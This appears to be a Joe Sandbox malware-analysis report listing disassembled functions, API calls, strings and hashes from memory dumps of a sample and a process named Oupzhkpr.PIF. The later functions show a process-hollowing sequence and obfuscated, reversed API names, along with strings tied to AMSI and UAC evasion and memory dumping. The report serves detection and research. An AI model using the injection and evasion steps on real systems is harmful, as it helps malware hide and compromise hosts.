Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000018.00000002.2685924986.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.2685924986.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.2685924986.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Analysis Process: Oupzhkpr.PIFPID: 5160, Parent PID: 4004COMMON

Executed Functions

Function 02DC8BB0 Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1654
threadnativeinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DC8824: FreeLibrary.KERNEL32(02E11384,00000000,02E11388,Function_000055D8,00000004,02E11398,02E11388,05F5E0FF,00000040,02E1139C,02E11384,00000000,00000000,00000000,00000000,02DC890B), ref: 02DC88EB

Part of subcall function 02DC85DC: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02DC8668

GetThreadContext.KERNEL32(02E113D0,02E11420,ScanString,02E113A4,02DCA77C,UacInitialize,02E113A4,02DCA77C,ScanBuffer,02E113A4,02DCA77C,ScanBuffer,02E113A4,02DCA77C,UacInitialize,02E113A4), ref: 02DC9442

Part of subcall function 02DC8254: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DC82C5

Part of subcall function 02DC84C4: NtUnmapViewOfSection.NTDLL(?,?), ref: 02DC8529

Part of subcall function 02DC79B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02DC7A27

Part of subcall function 02DC7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DC7D74

SetThreadContext.KERNEL32(02E113D0,02E11420,ScanBuffer,02E113A4,02DCA77C,ScanString,02E113A4,02DCA77C,Initialize,02E113A4,02DCA77C,02E113CC,02E114BC,02E114F8,00000004,02E114FC), ref: 02DCA157
NtResumeThread.NTDLL(02E113D0,00000000), ref: 02DCA164

Part of subcall function 02DC87A0: LoadLibraryW.KERNEL32(?,?), ref: 02DC87B4
Part of subcall function 02DC87A0: GetProcAddress.KERNEL32(02E11390,BCryptVerifySignature), ref: 02DC87CE
Part of subcall function 02DC87A0: FreeLibrary.KERNEL32(02E11390,02E11390,BCryptVerifySignature,bcrypt,?,02E113D0,00000000,02E113A4,02DCA3C7,ScanString,02E113A4,02DCA77C,ScanBuffer,02E113A4,02DCA77C,Initialize), ref: 02DC880A

Strings

ntdll, xrefs: 02DCA465, 02DCA479, 02DCA531, 02DCA6D4, 02DCA6E8
sppc, xrefs: 02DC91B6
BCryptRegisterProvider, xrefs: 02DCA3DB
ScanBuffer, xrefs: 02DC8D0C, 02DC8D94, 02DC912F, 02DC9244, 02DC92E1, 02DC961A, 02DC97A1, 02DC9934, 02DC9B19, 02DC9C2E, 02DC9DEC, 02DC9F5C, 02DCA0CF, 02DCA2C3, 02DCA4E1, 02DCA627
advapi32, xrefs: 02DCA545
BCryptVerifySignature, xrefs: 02DCA3B3
UacInitialize, xrefs: 02DC8E72, 02DC91D3, 02DC9352, 02DC9456, 02DC9852, 02DC99C6, 02DCA170
Initialize, xrefs: 02DC8F2A, 02DC9538, 02DC96BF, 02DC9AA8, 02DC9D0A, 02DC9E7A, 02DC9FED, 02DCA252, 02DCA583
MiniDumpReadDumpStream, xrefs: 02DCA568
OpenSession, xrefs: 02DC8BE9, 02DC900C, 02DC90BE, 02DCA48F, 02DCA5D5
MiniDumpWriteDump, xrefs: 02DCA554
bcrypt, xrefs: 02DCA3B8, 02DCA3CC, 02DCA3E0
NtOpenProcess, xrefs: 02DCA6E3
NtSetSecurityObject, xrefs: 02DCA6CF
ScanString, xrefs: 02DC8C42, 02DC8DED, 02DC8F9B, 02DC93C3, 02DC95A9, 02DC9730, 02DC9BBD, 02DC9D7B, 02DC9EEB, 02DCA05E, 02DCA349, 02DCA3F6
NtOpenObjectAuditAlarm, xrefs: 02DCA474, 02DCA52C
SLGetLicenseInformation, xrefs: 02DC919F
NtReadVirtualMemory, xrefs: 02DCA460
BCryptQueryProviderRegistration, xrefs: 02DCA3C7
UacScan, xrefs: 02DC8CB3, 02DC8ECB, 02DC94C7, 02DC98C3, 02DC9A37, 02DCA1E1, 02DCA679
dbgcore, xrefs: 02DCA559, 02DCA56D
I_QueryTagInformation, xrefs: 02DCA540

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: LibraryMemoryThreadVirtual$ContextFree$AddressAllocateCreateLoadProcProcessReadResumeSectionUnmapUserViewWrite
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 2388221946-51457883
Opcode ID: b54a6c55815c7c387bf83c0547634589a7cb6f6a6876f3ee5f77b03b4fd8fc8f
Instruction ID: c84339de6bcc52bb8c4f9509eab09d6d97ddcd71ed87c5ccc714d1fb6584f525
Opcode Fuzzy Hash: b54a6c55815c7c387bf83c0547634589a7cb6f6a6876f3ee5f77b03b4fd8fc8f
Instruction Fuzzy Hash: FDE20C34A50159DBDF12EB64DCB0ADE73BAFF48710F2140BAE10AAB355DA709E458F60

Function 02DC8BAE Relevance: 45.4, APIs: 3, Strings: 22, Instructions: 1605
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DC8824: FreeLibrary.KERNEL32(02E11384,00000000,02E11388,Function_000055D8,00000004,02E11398,02E11388,05F5E0FF,00000040,02E1139C,02E11384,00000000,00000000,00000000,00000000,02DC890B), ref: 02DC88EB

Part of subcall function 02DC85DC: CreateProcessAsUserW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,Kernel32,00000000,00000000,00000000), ref: 02DC8668

GetThreadContext.KERNEL32(02E113D0,02E11420,ScanString,02E113A4,02DCA77C,UacInitialize,02E113A4,02DCA77C,ScanBuffer,02E113A4,02DCA77C,ScanBuffer,02E113A4,02DCA77C,UacInitialize,02E113A4), ref: 02DC9442

Part of subcall function 02DC8254: NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DC82C5

Part of subcall function 02DC84C4: NtUnmapViewOfSection.NTDLL(?,?), ref: 02DC8529

Part of subcall function 02DC79B4: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02DC7A27

Strings

ntdll, xrefs: 02DCA465, 02DCA479, 02DCA531, 02DCA6D4, 02DCA6E8
sppc, xrefs: 02DC91B6
BCryptRegisterProvider, xrefs: 02DCA3DB
ScanBuffer, xrefs: 02DC8D0C, 02DC8D94, 02DC912F, 02DC9244, 02DC92E1, 02DC961A, 02DC97A1, 02DC9934, 02DC9B19, 02DC9C2E, 02DC9DEC, 02DC9F5C, 02DCA0CF, 02DCA2C3, 02DCA4E1, 02DCA627
advapi32, xrefs: 02DCA545
BCryptVerifySignature, xrefs: 02DCA3B3
UacInitialize, xrefs: 02DC8E72, 02DC91D3, 02DC9352, 02DC9456, 02DCA170
Initialize, xrefs: 02DC8F2A, 02DC9538, 02DC96BF, 02DC9AA8, 02DC9D0A, 02DC9E7A, 02DC9FED, 02DCA252, 02DCA583
MiniDumpReadDumpStream, xrefs: 02DCA568
OpenSession, xrefs: 02DC8BE9, 02DC900C, 02DC90BE, 02DCA48F, 02DCA5D5
MiniDumpWriteDump, xrefs: 02DCA554
bcrypt, xrefs: 02DCA3B8, 02DCA3CC, 02DCA3E0
NtOpenProcess, xrefs: 02DCA6E3
NtSetSecurityObject, xrefs: 02DCA6CF
ScanString, xrefs: 02DC8C42, 02DC8DED, 02DC8F9B, 02DC93C3, 02DC95A9, 02DC9730, 02DC9BBD, 02DC9D7B, 02DC9EEB, 02DCA05E, 02DCA349, 02DCA3F6
NtOpenObjectAuditAlarm, xrefs: 02DCA474, 02DCA52C
SLGetLicenseInformation, xrefs: 02DC919F
NtReadVirtualMemory, xrefs: 02DCA460
BCryptQueryProviderRegistration, xrefs: 02DCA3C7
UacScan, xrefs: 02DC8CB3, 02DC8ECB, 02DC94C7, 02DC98C3, 02DC9A37, 02DCA1E1, 02DCA679
dbgcore, xrefs: 02DCA559, 02DCA56D
I_QueryTagInformation, xrefs: 02DCA540

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: MemoryVirtual$AllocateContextCreateFreeLibraryProcessReadSectionThreadUnmapUserView
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
API String ID: 3386062106-51457883
Opcode ID: c63d820159f8334936f469f2abe3e5a17c27431360291d65f0f4b0f2a7b7817e
Instruction ID: 07415b1ba36ad6bf6bb0d18f5fa88b0f10656b5e96ffe92e63214fc9d0a68078
Opcode Fuzzy Hash: c63d820159f8334936f469f2abe3e5a17c27431360291d65f0f4b0f2a7b7817e
Instruction Fuzzy Hash: E7E20C34A50159DBDF12EB64DCB0ADE73BAFF48710F2140BAE10AAB355DA709E458F60

Function 02DB5A78 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 02DB5A94
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02DB5AB2
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02DB5AD0
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02DB5AEE
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,02DB5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02DB5B37
RegQueryValueExA.ADVAPI32(?,02DB5CE4,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,02DB5B7D,?,80000001), ref: 02DB5B55
RegCloseKey.ADVAPI32(?,02DB5B84,00000000,00000000,00000005,00000000,02DB5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02DB5B77
lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02DB5B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105), ref: 02DB5BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105), ref: 02DB5BA7
lstrlen.KERNEL32(00000000), ref: 02DB5BD2
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 02DB5C19
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02DB5C29
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000), ref: 02DB5C51
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02DB5C61
lstrcpyn.KERNEL32(00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02DB5C87
LoadLibraryExA.KERNEL32(00000000,00000000,00000002,00000000,00000000,00000105,00000000,00000000,00000002,00000000,00000000,00000105,00000000), ref: 02DB5C97

Strings

Software\Borland\Delphi\Locales, xrefs: 02DB5AE4
Software\Borland\Locales, xrefs: 02DB5AA8, 02DB5AC6
., xrefs: 02DB5BE4

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: .$Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-3917250287
Opcode ID: 157c2bd4115408b97e0aa89cf95af42225febeb023ab7015406033b4d1de4b1f
Instruction ID: 6b455db6f387070558dbf4817e578a908255bf3db8132546e347ffad435e881a
Opcode Fuzzy Hash: 157c2bd4115408b97e0aa89cf95af42225febeb023ab7015406033b4d1de4b1f
Instruction Fuzzy Hash: DF514271E4020CBEFB26D6A4AC66FEE77AD9F04744F8041A1A606E6281D774DE44CFA4

Function 02DC79B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DC8020: GetModuleHandleA.KERNELBASE(?), ref: 02DC8072

Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DC811B
Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(?,?), ref: 02DC812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02DC7A27

Strings

yromeMlautriVetacollAwZ, xrefs: 02DC79CF
ntdll, xrefs: 02DC79FC

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$AllocateHandleMemoryModuleVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 1888340430-445027087
Opcode ID: b28aca1057c07091f90fd92693f3d4763abb5e56128c0a211b6375fa09902ec9
Instruction ID: 161482f123ef9bacaf355a129ed88de9153458b7628aeb5033515020d041f73f
Opcode Fuzzy Hash: b28aca1057c07091f90fd92693f3d4763abb5e56128c0a211b6375fa09902ec9
Instruction Fuzzy Hash: 8A110C75644209AFEB01EFA4DC51E9EB7EDEB4C710FA18868B505D7B40D670AE148F70

Function 02DC79B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DC8020: GetModuleHandleA.KERNELBASE(?), ref: 02DC8072

Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DC811B
Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(?,?), ref: 02DC812D

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02DC7A27

Strings

yromeMlautriVetacollAwZ, xrefs: 02DC79CF
ntdll, xrefs: 02DC79FC

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$AllocateHandleMemoryModuleVirtual
String ID: ntdll$yromeMlautriVetacollAwZ
API String ID: 1888340430-445027087
Opcode ID: 958b2cd2b49dc2b0246e0019ca691f39baabd24fa5d7b3484ed05b4371f510ae
Instruction ID: 475398cd9283b9194c40fc8be09373b9bceb1a73c670f40c78e1cf7c9be4eb34
Opcode Fuzzy Hash: 958b2cd2b49dc2b0246e0019ca691f39baabd24fa5d7b3484ed05b4371f510ae
Instruction Fuzzy Hash: EC111E75644209AFEB01EF94DC51E9EB7EDEB4C710FA18868B505D7B40D670AE148F70

Function 02DC8254 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02DC8020: GetModuleHandleA.KERNELBASE(?), ref: 02DC8072

Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DC811B
Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(?,?), ref: 02DC812D

NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DC82C5

Strings

ntdll, xrefs: 02DC829C
yromeMlautriVdaeRtN, xrefs: 02DC826F

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$HandleMemoryModuleReadVirtual
String ID: ntdll$yromeMlautriVdaeRtN
API String ID: 36784810-737317276
Opcode ID: bc302a97aa87c0010077c86eafc62b567acc15d8241218e4261ae4a100dfcc91
Instruction ID: 74cc5bc89f83d7096e5bfdaeed5cc4e05512e85437c726b0793473b9050407f0
Opcode Fuzzy Hash: bc302a97aa87c0010077c86eafc62b567acc15d8241218e4261ae4a100dfcc91
Instruction Fuzzy Hash: D5018074640209AFEB02EFA4D861E9EB7EEEB4C710F618464F505D7B04D630AD109F34

Function 02DC84C4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02DC8020: GetModuleHandleA.KERNELBASE(?), ref: 02DC8072

Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DC811B
Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(?,?), ref: 02DC812D

NtUnmapViewOfSection.NTDLL(?,?), ref: 02DC8529

Strings

noitceSfOweiVpamnUtN, xrefs: 02DC84DF
ntdll, xrefs: 02DC850C

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$HandleModuleSectionUnmapView
String ID: noitceSfOweiVpamnUtN$ntdll
API String ID: 858119152-2520021413
Opcode ID: e03a8157d7cf6e2d44da2a6889a230446f24763af3f3aff353edd4a406b22e71
Instruction ID: 94c1fbc00f42b5d7a9c6c4cd7a96193159f40b353895935aa10079119d748620
Opcode Fuzzy Hash: e03a8157d7cf6e2d44da2a6889a230446f24763af3f3aff353edd4a406b22e71
Instruction Fuzzy Hash: CE017174650205AFEB02EFA4E861E9EB7AEEB49710FA24864F505D7B00CA70AD109A20

Function 02DCDACC Relevance: 4.6, APIs: 3, Instructions: 80nativefileCOMMON

Download Yara Rule

APIs

RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 02DCDB0B
NtWriteFile.NTDLL(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000), ref: 02DCDB72
NtClose.NTDLL(?), ref: 02DCDB7B

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: Path$CloseFileNameName_Write
String ID:
API String ID: 1792072161-0
Opcode ID: 022564346358c1b875911bf97068e008131d56f5c8cb2a1b2e05ee06248b85ed
Instruction ID: 1483ca765337ff610241d432da6c74234c024bdbaa294203d3a58523242d8d23
Opcode Fuzzy Hash: 022564346358c1b875911bf97068e008131d56f5c8cb2a1b2e05ee06248b85ed
Instruction Fuzzy Hash: A921F171A40309BAEB11EAD4CD56FDEB7BEEF04B00F614065B605F72C1D7B06E048A65

Function 02DCD9F0 Relevance: 4.5, APIs: 3, Instructions: 47filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 02DCDA6C
RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02DCDA82
NtDeleteFile.NTDLL(?), ref: 02DCDAA1

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: Path$DeleteFileInitNameName_StringUnicode
String ID:
API String ID: 1459852867-0
Opcode ID: 537c01e9aa588318e5261210d13c39076c4d128f16d3ee6753b8240ffc6698c8
Instruction ID: 57cc698666be975e0c56544d63f0ac194a4d62b18a572b121752bf496810ba2b
Opcode Fuzzy Hash: 537c01e9aa588318e5261210d13c39076c4d128f16d3ee6753b8240ffc6698c8
Instruction Fuzzy Hash: 59014F7590C249BEEB05E6A08D51BCD77BAEB54704F6100AA9201F7282DB74AF048B35

Function 02DCDA44 Relevance: 4.5, APIs: 3, Instructions: 45filenativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL ref: 02DCDA6C
RtlDosPathNameToNtPathName_U.NTDLL(00000000,00000000,00000000,00000000), ref: 02DCDA82
NtDeleteFile.NTDLL(?), ref: 02DCDAA1

Part of subcall function 02DB4C0C: SysFreeString.OLEAUT32(?), ref: 02DB4C1A

Memory Dump Source

